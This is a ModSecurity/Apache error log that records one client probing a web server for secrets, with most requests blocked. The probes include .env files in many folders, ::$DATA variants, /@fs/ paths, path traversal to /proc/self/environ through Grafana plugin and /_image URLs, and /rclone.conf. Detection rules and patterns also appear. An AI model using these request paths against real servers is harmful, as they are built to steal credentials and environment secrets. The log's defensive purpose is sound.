[Sun Oct 25 10:21:33.808201 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.development::$DATA"] [unique_id "at4QbfrIyYTZs3Zw4AlthAAAAAE"]
[Sun Oct 25 10:21:34.019510 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/root/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4QbrAXYX-KZxBobEnRQAAAAAI"]
[Sun Oct 25 10:21:34.019510 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlaAAAAAw"]
[Sun Oct 25 10:21:34.020154 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlaAAAAAw"]
[Sun Oct 25 10:21:34.020156 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4QbrAXYX-KZxBobEnRQAAAAAI"]
[Sun Oct 25 10:21:34.020444 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/root/.env"] [unique_id "at4QbrAXYX-KZxBobEnRQAAAAAI"]
[Sun Oct 25 10:21:34.020507 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/@fs/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlaAAAAAw"]
[Sun Oct 25 10:21:34.021618 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local::$data"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4QbvrIyYTZs3Zw4AlthQAAAAE"]
[Sun Oct 25 10:21:34.021902 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4QbvrIyYTZs3Zw4AlthQAAAAE"]
[Sun Oct 25 10:21:34.022124 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/.env.local::$DATA"] [unique_id "at4QbvrIyYTZs3Zw4AlthQAAAAE"]
[Sun Oct 25 10:21:34.213419 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4QbqGxe7V6jzF5H8VNdwAAABg"]
[Sun Oct 25 10:21:34.213532 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4QbqGxe7V6jzF5H8VNdwAAABg"]
[Sun Oct 25 10:21:34.213571 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /_image?href=/../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "direc2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4QbqGxe7V6jzF5H8VNdwAAABg"]
[Sun Oct 25 10:21:34.214064 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4QbqGxe7V6jzF5H8VNdwAAABg"]
[Sun Oct 25 10:21:34.214332 2026] [security2:error] [pid 2834025:tid 2834025] [client 35.204.239.58:42536] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/_image"] [unique_id "at4QbqGxe7V6jzF5H8VNdwAAABg"]
[Sun Oct 25 10:21:34.215745 2026] [core:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42600] AH10244: invalid URI path (/public/plugins/grafana-clock-panel/../../../../../../../../proc/self/environ)
[Sun Oct 25 10:21:34.219816 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /apps/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UAAAAAU"]
[Sun Oct 25 10:21:34.219943 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UAAAAAU"]
[Sun Oct 25 10:21:34.220196 2026] [security2:error] [pid 2847140:tid 2847140] [client 35.204.239.58:42548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/apps/.env"] [unique_id "at4QbrzfR6IZTglRqQr3UAAAAAU"]
[Sun Oct 25 10:21:34.221420 2026] [core:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42588] AH10244: invalid URI path (/public/plugins/text/../../../../../../../../proc/self/environ)
[Sun Oct 25 10:21:34.223240 2026] [core:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42550] AH10244: invalid URI path (/public/plugins/alertlist/../../../../../../../../proc/self/environ)
[Sun Oct 25 10:21:34.223705 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42550] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/proc/self/environ"] [unique_id "at4Qbgbh6It5ncJCFORlugAAAAY"]
[Sun Oct 25 10:21:34.223728 2026] [security2:error] [pid 2847141:tid 2847141] [client 35.204.239.58:42550] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "direc2.sherwinpinturas.com"] [uri "/proc/self/environ"] [unique_id "at4Qbgbh6It5ncJCFORlugAAAAY"]
[Sun Oct 25 10:21:34.226439 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /client/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4Qbksgp-xlBP1GcWOSZgAAABE"]
[Sun Oct 25 10:21:34.226637 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4Qbksgp-xlBP1GcWOSZgAAABE"]
[Sun Oct 25 10:21:34.226958 2026] [security2:error] [pid 2834019:tid 2834019] [client 35.204.239.58:42510] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/client/.env"] [unique_id "at4Qbksgp-xlBP1GcWOSZgAAABE"]
[Sun Oct 25 10:21:34.310763 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "direc2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4QbrAXYX-KZxBobEnRQgAAAAI"]
[Sun Oct 25 10:21:34.311248 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4QbrAXYX-KZxBobEnRQgAAAAI"]
[Sun Oct 25 10:21:34.311613 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/rclone.conf"] [unique_id "at4QbrAXYX-KZxBobEnRQgAAAAI"]
[Sun Oct 25 10:21:34.571577 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42614] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /workspace/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4Qbhus_mjnPB8X3pG-YQAAABI"]
[Sun Oct 25 10:21:34.571577 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42566] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /project/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4QbvrIyYTZs3Zw4AlthwAAAAE"]
[Sun Oct 25 10:21:34.571804 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42614] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4Qbhus_mjnPB8X3pG-YQAAABI"]
[Sun Oct 25 10:21:34.571805 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42566] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4QbvrIyYTZs3Zw4AlthwAAAAE"]
[Sun Oct 25 10:21:34.572166 2026] [security2:error] [pid 2842300:tid 2842300] [client 35.204.239.58:42566] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/project/.env"] [unique_id "at4QbvrIyYTZs3Zw4AlthwAAAAE"]
[Sun Oct 25 10:21:34.572169 2026] [security2:error] [pid 2834020:tid 2834020] [client 35.204.239.58:42614] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/workspace/.env"] [unique_id "at4Qbhus_mjnPB8X3pG-YQAAABI"]
[Sun Oct 25 10:21:34.573289 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /deploy/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4QbrAXYX-KZxBobEnRQwAAAAI"]
[Sun Oct 25 10:21:34.573384 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /scripts/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "direc2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlawAAAAw"]
[Sun Oct 25 10:21:34.573440 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4QbrAXYX-KZxBobEnRQwAAAAI"]
[Sun Oct 25 10:21:34.573567 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "direc2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlawAAAAw"]
[Sun Oct 25 10:21:34.573746 2026] [security2:error] [pid 2842301:tid 2842301] [client 35.204.239.58:42598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/deploy/.env"] [unique_id "at4QbrAXYX-KZxBobEnRQwAAAAI"]
[Sun Oct 25 10:21:34.573820 2026] [security2:error] [pid 2806348:tid 2806348] [client 35.204.239.58:42524] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "direc2.sherwinpinturas.com"] [uri "/scripts/.env"] [unique_id "at4Qbg-YVEbWS5meiuhlawAAAAw"]
